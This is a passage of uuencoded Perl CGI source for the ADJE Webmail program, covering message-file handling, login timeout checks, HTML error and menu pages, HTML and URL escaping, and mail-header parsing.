M;W)M870@/7X@+UYM97-S86=E7"\O:2D@*2`F)B`H)&)A<V5N86UE(#U^("]>
4*&US9RU\;6U<+BDO*2`I("D@>PH`
&;&%S=#L*
"?0H`
"?0H`
==VAI;&4@*"`D:2`\("0C;7-G7W!A<G1S("D@>PH`
8<'5S:"!`871T86-H961?<&%R=',L('L*
B1D]234%4(#T^("1M<V=?<&%R='-;)&E=>T9/4DU!5'TL"@``
F1DE,14Y!344@/3X@)&US9U]P87)T<ULD:5U[1DE,14Y!345]+`H`
#?3L*
&)&DK*SL*
"?0H`
8<F5T=7)N($!A='1A8VAE9%]P87)T<SL*
"?0H`
><W5B(')E861?;65S<V%G97-?9G)O;5]D:7-K('L*
4;7D@*"1M<V=F:6QE*2`]($!?.PH`
-;7D@0&US9W,]*"D["@``
*;&]C86P@)%\["@``
3:68@*"UF("1M<V=F:6QE*2!["@``
6;W!E;BA&2"PB/"1M<V=F:6QE(BD["@``
38VAO;7`H0&US9W,]/$9(/BD["@``
+8VQO<V4H1D@I.PH`
"?0H`
/<F5T=7)N*$!M<V=S*3L*
"?0H`
=<W5B('=R:71E7VUE<W-A9V5S7W1O7V1I<VL@>PH`
<;7D@*"1M<V=F:6QE+"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
6;W!E;BA&2"PB/B1M<V=F:6QE(BD["@``
.9F]R("A`;7-G<RD@>PH`
1<')I;G0@1D@@(B1?7&XB.PH`
"?0H`
+8VQO<V4H1D@I.PH`
"?0H`
2<W5B(&-H96-K7VQO9VEN('L*
M;7D@*"1L86YG+"1C;VQO<G,L)'5S97)?9&ER;F%M92PD=&EM96]U="D@/2!`
#7SL*
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
D;7D@)&9N86UE(#T@(B1U<V5R7V1I<FYA;64O:7`N='AT(CL*
*;&]C86P@)%\["@``
M;7D@)&QA<W1?;6]D7W-E8R`]("@M32`D9FYA;64I("H@,S8P,"XP("H@,C0N
#,#L*
D;7D@)'1I;65O=71?<V5C<R`]("1T:6UE;W5T("H@-C`N,#L*
M:68@*"`H(2`M92`D9FYA;64I('Q\("@D;&%S=%]M;V1?<V5C(#X@)'1I;65O
-=71?<V5C<RD@*2!["@``
H;7D@)'1I=&QE(#T@)$Q[)T5R<F]R.B!,;V=I;B!%>'!I<F5D)WT["@``
M;7D@)&5R<FUS9R`@(#T@(B1T:6UE;W5T("1,>R=L;V=I;G1I;65O=70G?2([
!"@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
K04-+?2!S:7IE/30^/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX\+V9O;G0^"@``
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
(/"]F;W)M/@H`
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)&5R<FUS9SPO<W1R;VYG
./CPO9F]N=#X\+W1D/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
)/"]T86)L93X*
(/"]F;W)M/@H`
$/'`^"@``
(2$52141/0PH`
F;7D@)&QA<W1A9"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
M)G!R:6YT7V)O='1O;5]L:6YK<R@D=7-E<E]D:7)N86UE+")#3U!94DE'2%1/
/3DQ9(BQ<)4,L7"5,*3L*
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
)97AI="@P*3L*
"?0H`
5;W!E;BA)1D@L(CPD9FYA;64B*3L*
38VAO;7`H)%\@/2`\249(/BD["@``
,8VQO<V4H249(*3L*
C*"1%3E9[4D5-3U1%7T%$1%)](&YE("1?*2`F)B!E>&ET.PH`
1;7D@)'1I;64@/2!T:6UE.PH`
G*"1F;F%M92`]?B`O7B@N*RDD+RD@)B8@*"1F;F%M92`]("0Q*3L*
J*"UE("1F;F%M92D@)B8@=71I;64H)'1I;64L)'1I;64L)&9N86UE*3L*
7?2`C(&5N9"!O9B!C:&5C:U]L;V=I;@H`
4<W5B(&=E=%]M<V=?9FEL97,@>PH`
0;7D@*"1R96,I(#T@0%\["@``
?;7D@0&9I96QD<R`]('-P;&ET*"]<?"\L)')E8RD["@``
-;7D@*$!F:6QE<RD["@``
99F]R96%C:"`D9FQD("A`9FEE;&1S*2!["@``
::68@*"`D9FQD("%^("]>5D%27"\O("D@>PH`
D*"1D97-C+"1F;F%M92D@/2!S<&QI="@O.B\L)&9L9"PR*3L*
5<'5S:"A`9FEL97,L)&9N86UE*3L*
"?0H`
"?0H`
/<F5T=7)N($!F:6QE<SL*
"?0H`
1<W5B(&=E=%]M<V=P;W,@>PH`
8;7D@*"1M<V=N;RQ`<F5C<RD@/2!`7SL*
.;7D@)&US9W!O<STQ.PH`
);7D@)&D],#L*
L=VAI;&4@*"`H)&D@/"`D;7-G;F\I("8F("@D:2`\/2`D(W)E8W,I("D@>PH`
M*"1R96-S6R1I72`A?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1M
*<V=P;W,K*RD["@``
&)&DK*SL*
"?0H`
0<F5T=7)N("1M<V=P;W,["@``
"?0H`
1<W5B(&=E=%]M<V=T;W0@>PH`
3;7D@*"1M<V=R968I(#T@0%\["@``
5;7D@0&US9W,@/2!`)&US9W)E9CL*
-;7D@)'1O="`](#`["@``
*;&]C86P@)%\["@``
.9F]R("A`;7-G<RD@>PH`
H*"$O7'Q605)<+U-4051%.D1%3$5415Q\+RD@)B8@*"1T;W0K*RD["@``
"?0H`
-<F5T=7)N("1T;W0["@``
"?0H`
9<W5B(&=E=%]M97-S86=E7W-T871E<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
E)'9A;"`]("9G971?9FEE;&0H7"1?+%PG5D%2+U-4051%)RD["@``
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
9<W5B(&=E=%]M97-S86=E7V9N86UE<R!["@``
3;7D@*"1M<V=R968I(#T@0%\["@``
*;&]C86P@)%\["@``
6;7D@*"5H87-H+"1K97DL)'9A;"D["@``
59F]R96%C:"`H0"1M<V=R968I('L*
B)&ME>2`]("9G971?9FEE;&0H7"1?+%PG5D%2+TE$)RD["@``
C)'9A;"`]("9G971?9FEE;&0H7"1?+%PG04Q,+T%,3"<I.PH`
4)&AA<VA[)&ME>7T@/2`D=F%L.PH`
"?0H`
-<F5T=7)N("5H87-H"@``
"?0H`
.<W5B(')E8W9A<G,@>PH`
2;7D@)6AE861E<G,@/2!`7SL*
J;7D@)')E8R`@/2`B5D%2+TE$.B1H96%D97)S>TU%4U-!1T5)1'U\(CL*
=)')E8R`N/2`B5D%2+U-4051%.E5.4D5!1'PB.PH`
J)')E8R`N/2`B5D%2+U-50DI%0U0Z)&AE861E<G-[4U5"2D5#5'U\(CL*
L)')E8R`N/2`B5D%2+T923TU.04U%.B1H96%D97)S>T923TU.04U%?7PB.PH`
M)')E8R`N/2`B5D%2+T923TU#3TU-14Y4.B1H96%D97)S>T923TU#3TU-14Y4
%?7PB.PH`
J)')E8R`N/2`B5D%2+T923TU!1$0Z)&AE861E<G-[1E)/34%$1'U\(CL*
J)')E8R`N/2`B5D%2+U)43TY!344Z)&AE861E<G-[4E1/3D%-17U\(CL*
H)')E8R`N/2`B5D%2+U)43T%$1#HD:&5A9&5R<WM25$]!1$1]?"(["@``
M)')E8R`N/2`B5D%2+U)43T-/34U%3E0Z)&AE861E<G-[4E1/0T]-345.5'U\
#(CL*
D)')E8R`N/2`B5D%2+T1!5$4Z)&AE861E<G-[1$%417U\(CL*
F)')E8R`N/2`B5D%2+T1!64U/.B1H96%D97)S>T1!64U/?7PB.PH`
M)')E8R`N/2`B5D%2+TU%4U-!1T5325I%.B1H96%D97)S>TU%4U-!1T5325I%
%?7PB.PH`
"?0H`
3<W5B(&1A=&5?-%]I;F)O>"!["@``
1;7D@*"1D871E*2`]($!?.PH`
2;7D@*"1D87DL)&UO;G1H*3L*
M*"1D871E(#U^("\H7&1<9#\I("LH6T$M6F$M>ETK*2\I("8F("@D9&%Y(#T@
4)#$I("8F("@D;6]N=&@])#(I.PH`
H*&QE;F=T:"@D9&%Y*2`\(#(I("8F("@D9&%Y(#T@(C`D9&%Y(BD["@``
;)&1A=&4@/2`B)'MM;VYT:'U?)'MD87E](CL*
"?0H`
4<W5B(&9R965?9FEL96YA;64@>PH`
2;7D@*"1F;F%M92D@/2!`7SL*
);7D@)&D],3L*
6=VAI;&4@*"`M92`D9FYA;64@*2!["@``
6)&9N86UE(#U^(',O7&0J)"\D:2\["@``
&*RLD:3L*
"?0H`
/<F5T=7)N("1F;F%M93L*
"?0H`
5<W5B(')E;&%T:79E7VUS9VYO('L*
K;7D@*"1M<V=N;RPD<F5L871I=F5?<&]S:71I;VXL0')E8W,I(#T@0%\["@``
7;7D@)&US9VYO7VEN(#T@)&US9VYO.PH`
D:68@*"`H)"-R96-S(#P@,"D@?'P@*"1M<V=N;R`\(#`I("D*
3>R!R971U<FX@+3$P,#`P.R!]"@``
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B3D585"(I('L*
*)&US9VYO*RL["@``
M=VAI;&4@*"@D;7-G;F\@/#T@)"-R96-S*2`F)B`H)')E8W-;)&US9VYO72`]
>?B`O7'Q605)<+U-4051%.D1%3$5415Q\+RDI('L*
*)&US9VYO*RL["@``
"?0H`
8:68@*"1M<V=N;R`\/2`D(W)E8W,I('L*
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
D:68@*"1R96QA=&EV95]P;W-I=&EO;B!E<2`B4%)%5B(I('L*
*)&US9VYO+2T["@``
M=VAI;&4@*"@D;7-G;F\@/CT@,"D@)B8@*"1R96-S6R1M<V=N;UT@/7X@+UQ\
95D%27"]35$%413I$14Q%5$5<?"\I*2!["@``
*)&US9VYO+2T["@``
"?0H`
3:68@*"1M<V=N;R`^/2`P*2!["@``
5)')T;E]M<V=N;R`]("1M<V=N;SL*
)?2!E;'-E('L*
;)')T;E]M<V=N;R`]("(M)&US9VYO7VEN(CL*
"?0H`
"?0H`
3<F5T=7)N("1R=&Y?;7-G;F\["@``
"?0H`
8<W5B('!R:6YT7V)A8VM?97)R;7-G('L*
H;7D@*"1L86YG+"1C;VQO<G,L)'1I=&QE+"1E<G)M<V<I(#T@0%\["@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
6/'1I=&QE/B1T:71L93PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@;&EN:STD0WM,24Y+?2!A;&EN
=:STD0WM!3$E.2WT@=FQI;FL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
J/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
8/'-T<F]N9SXD=&ET;&4\+W-T<F]N9SX*
(/"]F;VYT/@H`
&/"]T9#X*
&/"]T<CX*
)/"]T86)L93X*
$/'`^"@``
)/&-E;G1E<CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
&04-+?3X*
//&(^)&5R<FUS9SPO8CX*
(/"]F;VYT/@H`
$/'`^"@``
'/&9O<FT^"@``
M/&EN<'5T('1Y<&4](F)U='1O;B(@3VY#;&EC:STB:&ES=&]R>2YB86-K*"DB
5('9A;'5E/2(D3'LG0F%C:R=](CX*
(/"]F;W)M/@H`
*/"]C96YT97(^"@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
"?0H`
3<W5B('!R:6YT7V5R<FUS9R!["@``
C;7D@*"1L86YG+"1C;VQO<G,L)&-O<'EO;FQY*2`]($!?.PH`
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
E<')I;G0@(D-O;G1E;G0M='EP93H@=&5X="]H=&UL7&Y<;B(["@``
0<')I;G0\/$A%4D5$3T,["@``
'/&AT;6P^"@``
'/&AE860^"@``
M/$U%5$$@8V]N=&5N=#TB=&5X="]H=&UL.R!C:&%R<V5T/21,>T-(05)3151]
;(B!H='1P+65Q=6EV/4-O;G1E;G0M5'EP93X*
K/'1I=&QE/B1,>R=796)M86EL($5R<F]R($UE<W-A9V4G?3PO=&ET;&4^"@``
(/"]H96%D/@H`
M/&)O9'D@8F=C;VQO<CTD0WM"1U]72$E417T@3$E.2STD0WM,24Y+?2!!3$E.
=2STD0WM!3$E.2WT@5DQ)3DL])$-[5DQ)3DM]/@H`
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
:/&9O<FT@86-T:6]N/2)I;F1E>"YC9VDB/@H`
%/'1R/@H`
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
M/'1D(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!W:61T:#TB.3`E(B!A;&EG;CTB
)8V5N=&5R(CX*
M/&9O;G0@9F%C93TB87)I86PL:&5L=F5T:6-A(B!C;VQO<CTD0WM415A47T),
/04-+?2!S:7IE/2(T(CX*
K/'-T<F]N9SXD3'LG17)R;W(Z($QO9VEN($9A:6QE9"=]/"]S=')O;F<^"@``
(/"]F;VYT/@H`
&/"]T9#X*
M/'1D(&)G8V]L;W(])$-[0D=?4%524$Q%?3X\:6YP=70@='EP93TB<W5B;6ET
=(B!V86QU93TB)$Q[)TQO9R!);B=](CX\+W1D/@H`
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
%/'1R/@H`
0/'1D/B9N8G-P.SPO=&0^"@``
M/'1D(&%L:6=N/6-E;G1E<CX\9F]N="!F86-E/2)A<FEA;"QH96QV971I8V$B
M(&-O;&]R/21#>U1%6%1?0DQ!0TM]/CQS=')O;F<^)$Q[)VQO9VEN97)R;7-G
8)WT\+W-T<F]N9SX\+V9O;G0^/"]T9#X*
0/'1D/B9N8G-P.SPO=&0^"@``
&/"]T<CX*
'/&9O<FT^"@``
)/"]T86)L93X*
(2$52141/0PH`
C;7D@)'1M<"`]("9P<FEN=%]A9"@M.3DL(F-E;G1E<B(I.PH`
0<')I;G0\/$A%4D5$3T,["@``
(/"]B;V1Y/@H`
(/"]H=&UL/@H`
(2$52141/0PH`
G?2`C(&5N9"!O9B!P<FEN=%]E<G)M<V<@<W5B<F]U;G1I;F4N+BX*
5<W5B('!R:6YT7W1O<%]M96YU('L*
M;7D@*"1T:71L92PD=7-E<E]D:7)N86UE+"1L86YG+"1C;VQO<G,I(#T@0%\[
!"@``
.;7D@)4P])21L86YG.PH`
0;7D@)4,])21C;VQO<G,["@``
L*&UY("1U<V5R;F%M92`]("1U<V5R7V1I<FYA;64I(#U^(',O+BI<+R\O.PH`
M;7D@)&EN/2(\;W!T:6]N('9A;'5E/5PB<&]P;7-G<UPB/B1,>R=);F-O;6EN
/9R!-97-S86=E<R=](CL*
M;7D@)&]U=#TB/&]P=&EO;B!V86QU93U<(G-E;G1M<V=S7"(^)$Q[)U-A=F5D
7($]U=&=O:6YG($UE<W-A9V5S)WTB.PH`
M:68@*"UF("(D=7-E<E]D:7)N86UE+T%$2D5314Y41D],1$5204-4259%+G1X
&="(I('L*
7)&QI;F4Q(#T@(B1O=70D=&ET;&4B.PH`
.)&QI;F4R(#T@)&EN.PH`
)?2!E;'-E('L*
6)&QI;F4Q(#T@(B1I;B1T:71L92(["@``
/)&QI;F4R(#T@)&]U=#L*
"?0H`
0<')I;G0\/$A%4D5$3T,["@``
?/'-C<FEP="!L86YG=6%G93TB:F%V87-C<FEP="(^"@``
%/"$M+0H`
:9G5N8W1I;VX@8VAA;F=E9F]L9&5R*"D@>PH`
M=F%R(&EN9&5X/61O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YS96QE8W1E
'9$EN9&5X"@``
M=F%R('9A;"`](&1O8W5M96YT+F9O;&1E<G-E;&5C="YT;V)O>"YO<'1I;VYS
.6VEN9&5X72YV86QU90H`
B9&]C=6UE;G0N;6%I;&)O>"Y&3TQ$15(N=F%L=64]=F%L"@``
:9&]C=6UE;G0N;6%I;&)O>"YS=6)M:70H*0H`
"?0H`
&+R\M+3X*
*/"]S8W)I<'0^"@``
M/'1A8FQE(&-E;&QP861D:6YG/2(T(B!C96QL<W!A8VEN9STB,B(@=VED=&@]
((C$P,"4B/@H`
%/'1R/@H`
M/&9O<FT@;F%M93TB;6%I;&)O>"(@;65T:&]D/2)03U-4(B!A8W1I;VX](FEN
*8F]X+F-G:2(^"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=-86EL($)O>"=](CX*
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB1D],1$52(B!V86QU93TB;F]C
(:&%N9V4B/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B!V86QU93TB;6%I
';&)O>"(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
J/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F-O;7!O<V4N8V=I(CX*
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=#;VUP;W-E)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB04-424].(B`@("`@=F%L=64]
/(DYE=R!-97-S86=E(CX*
&/"]T9#X*
(/"]F;W)M/@H`
M/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](F5D:71A9&1B;V]K+F-G:2(^
!"@``
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
M/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=!9&1R97-S97,G?2(^
!"@``
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
;/&9O<FT@;F%M93TB9F]L9&5R<V5L96-T(CX*
M/'1D('=I9'1H/2(Y-24B(&)G8V]L;W(])$-[0D=?3U)!3D=%?2!A;&EG;CTB
)8V5N=&5R(CX*
M/'-E;&5C="!N86UE/2)T;V)O>"(@;VYC:&%N9V4](F-H86YG969O;&1E<B@I
#(CX*
')&QI;F4Q"@``
')&QI;F4R"@``
*/"]S96QE8W0^"@``
&/"]T9#X*
(/"]F;W)M/@H`
I/&9O<FT@;65T:&]D/2)03U-4(B!A8W1I;VX](FQO9V]U="YC9VDB/@H`
J/'1D(&%L:6=N/2)C96YT97(B(&)G8V]L;W(])$-[0D=?4%524$Q%?3X*
L/&EN<'5T('1Y<&4](G-U8FUI="(@=F%L=64](B1,>R=,;V<@3W5T)WTB/@H`
M/&EN<'5T('1Y<&4](FAI9&1E;B(@;F%M93TB55-%4DY!344B("`@=F%L=64]
-(B1U<V5R;F%M92(^"@``
&/"]T9#X*
(/"]F;W)M/@H`
&/"]T<CX*
)/"]T86)L93X*
(2$52141/0PH`
"?0H`
4<W5B('5N97-C87!E7VAT;6P@>PH`
6;7DH)'1O=6YE;F-O9&4I(#T@0%\["@``
:)'1O=6YE;F-O9&4]?G,O)F%M<#LO)B]G.PH`
<)'1O=6YE;F-O9&4]?G,O)G%U;W0[+UPB+V<["@``
9)'1O=6YE;F-O9&4]?G,O)F=T.R\^+V<["@``
9)'1O=6YE;F-O9&4]?G,O)FQT.R\\+V<["@``
4<F5T=7)N("1T;W5N96YC;V1E.PH`
"?0H`
2<W5B(&5S8V%P95]H=&UL('L*
4;7DH)'1O96YC;V1E*2`]($!?.PH`
?(61E9FEN960H)'1O96YC;V1E*2`F)B!R971U<FX["@``
8)'1O96YC;V1E/7YS+R8O)F%M<#LO9SL*
:)'1O96YC;V1E/7YS+UPB+R9Q=6]T.R]G.PH`
7)'1O96YC;V1E/7YS+SXO)F=T.R]G.PH`
7)'1O96YC;V1E/7YS+SPO)FQT.R]G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
3<W5B('5N97-C87!E7W5R;"!["@``
4;7DH)'1O9&5C;V1E*2`]($!?.PH`
6)'1O9&5C;V1E(#U^('1R+RLO("\["@``
M)'1O9&5C;V1E(#U^(',O)2A;,"TY82UF02U&77LR?2DO<&%C:R@B8R(L:&5X
**"0Q*2DO9V4["@``
2<F5T=7)N("1T;V1E8V]D93L*
"?0H`
1<W5B(&5S8V%P95]U<FP@>PH`
4;7DH)'1O96YC;V1E*2`]($!?.PH`
<(21T;V5N8V]D92`F)B!R971U<FX@=6YD968["@``
M)'1O96YC;V1E/7YS+RA;7F$M>D$M6C`M.5]<+2Y=*2]U8R!S<')I;G1F*"(E
4)24P,G@B+&]R9"@D,2DI+V5G.PH`
2<F5T=7)N("1T;V5N8V]D93L*
"?0H`
2<W5B(&=E=%]H96%D97)S('L*
5;7D@*$!H96%D;&EN97,I/2!`7SL*
<;7D@)&AE860@/2!-24U%.CI(96%D+3YN97<["@``
=)&AE860M/F5X=')A8W0H7$!H96%D;&EN97,I.PH`
/)&AE860M/G5N9F]L9#L*
/)&AE860M/F1E8V]D93L*
C;7D@)&1A=&4@("`@/2`D:&5A9"T^9V5T*"=$871E.B<I.PH`
A;7D@)&-C("`@("`@/2`D:&5A9"T^9V5T*"=#8SHG*3L*
F;7D@)'-U8FIE8W0@/2`D:&5A9"T^9V5T*"=3=6)J96-T.B<I.PH`
A;7D@)'1O("`@("`@/2`D:&5A9"T^9V5T*"=4;SHG*3L*
C;7D@)&9R;VT@("`@/2`D:&5A9"T^9V5T*"=&<F]M.B<I.PH`
G;7D@)')E<&QY=&\@/2`D:&5A9"T^9V5T*"=297!L>2U4;SHG*3L*
6(21D871E("8F("@D9&%T93TG)RD["@``
2(21C8R`F)B`H)&-C/2<G*3L*
<(21S=6)J96-T("8F("@D<W5B:F5C=#TG)RD["@``
2(21T;R`F)B`H)'1O/2<G*3L*
6(21F<F]M("8F("@D9G)O;3TG)RD["@``
<(21R97!L>71O("8F("@D<F5P;'ET;STG)RD["@``
0;7D@)6AE861E<G,@/2`H"@``
74U5"2D5#5"`@(#T^("1S=6)J96-T+`H`
25$\@("`@("`@(#T^("1T;RP*
41E)/32`@("`@(#T^("1F<F]M+`H`
74D503%E43R`@(#T^("1R97!L>71O+`H`
20T,@("`@("`@(#T^("1C8RP*
41$%412`@("`@(#T^("1D871E+`H`
#*3L*
@9F]R96%C:"`D:V5Y("AK97ES*"5H96%D97)S*2D@>PH`
B(61E9FEN960H)&AE861E<G-[)&ME>7TI("8F(&YE>'0["@``
;)&AE861E<G-[)&ME>7T@/7X@<R]>("LO+SL*
=)&AE861E<G-[)&ME>7T@/7X@<R]<<C]<;B\O.PH`
;)&AE861E<G-[)&ME>7T@/7X@<R\@*R0O+SL*
"?0H`
D;7D@*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
.861E<G-[1E)/37TI.PH`
>)&AE861E<G-[1E)/34%$1'T@("`@(#T@)&%D9#L*
?)&AE861E<G-[1E)/34Y!345]("`@(#T@)&YA;64["@``
?)&AE861E<G-[1E)/34-/34U%3E1](#T@)&-O;6T["@``
A*"1N86UE+"1A9&0L)&-O;6TI(#T@*"<G+"<G+"<G*3L*
M*"1N86UE+"1A9&0L)&-O;6TI(#T@)G!A<G-E7V5M86EL7V%D9')E<W,H)&AE
1861E<G-[4D503%E43WTI.PH`
=)&AE861E<G-[4E1/041$?2`@("`@/2`D861D.PH`
>)&AE861E<G-[4E1/3D%-17T@("`@/2`D;F%M93L*
>)&AE861E<G-[4E1/0T]-345.5'T@/2`D8V]M;3L*
M)&AE861E<G-[1$%934]]("`@("`@(#T@)F1A=&5?-%]I;F)O>"@D:&5A9&5R
*<WM$051%?2D["@``
1<F5T=7)N("5H96%D97)S.PH`
B?2`C(&5N9"!S=6)R;W5T:6YE(&=E=%]H96%D97)S+BXN"@``
9<W5B('!R:6YT7V)O='1O;5]L:6YK<R!["@``
M;7D@*"1U<V5R7V1I<FYA;64L)&-O<'EO;FQY+"1C;VQO<G,L)&QA;F<I(#T@
$0%\["@``
0;7D@)4,])21C;VQO<G,["@``
.;7D@)4P])21L86YG.PH`
3;7D@)5`])F=E=%]P87)A;7,["@``
M<')I;G0@(CQF;VYT(&9A8V4]7")A<FEA;"QH96QV971I8V%<(B!C;VQO<CTD
30WM415A47T),04-+?3Y<;B(["@``
4:68@*"9I<U]L:6-E;G-E9"D@>PH`
0<')I;G0\/$A%4D5$3T,["@``
./&9O;G0@<VEZ93TQ/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P(#QA(&AR968](FAT='`Z+R]W=W<N861J97=E8BYC;VTB/D%$
M2D4L($Q,0SPO83XN($%L;"!2:6=H=',@4F5S97)V960N(#QB/D1)4T-,04E-
M15(Z/"]B/B!5<V4@=&AI<R!S;V9T=V%R92!A;F0@=&AE(&%S<V]C:6%T960@
<=V5B('!A9V5S(&%T('EO=7(@;W=N(')I<VLN"@``
(/"]F;VYT/@H`
(2$52141/0PH`
)?2!E;'-E('L*
0<')I;G0\/$A%4D5$3T,["@``
(/'-M86QL/@H`
$/'`^"@``
M041*12!796)M86EL(%9E<G-I;VX@)%![5D524TE/3GT@)F-O<'D[(#$Y.3@L
M,3DY.2PR,#`P($%$2D4L($Q,0R`H5&AE($5D9V4I+B!!;&P@4FEG:'1S(%)E
M<V5R=F5D+B`\8CY$25-#3$%)3452.CPO8CX@57-E('1H:7,@<V]F='=A<F4@
M86YD('1H92!A<W-O8VEA=&5D('=E8B!P86=E<R!A="!Y;W5R(&]W;B!R:7-K
M+B`@66]U(&UA>2!D;W=N;&]A9"!T:&4@<&5R;"!C9VD@<V-R:7!T<R!T:&%T
0(&=E;F5R871E('1H97-E"@``
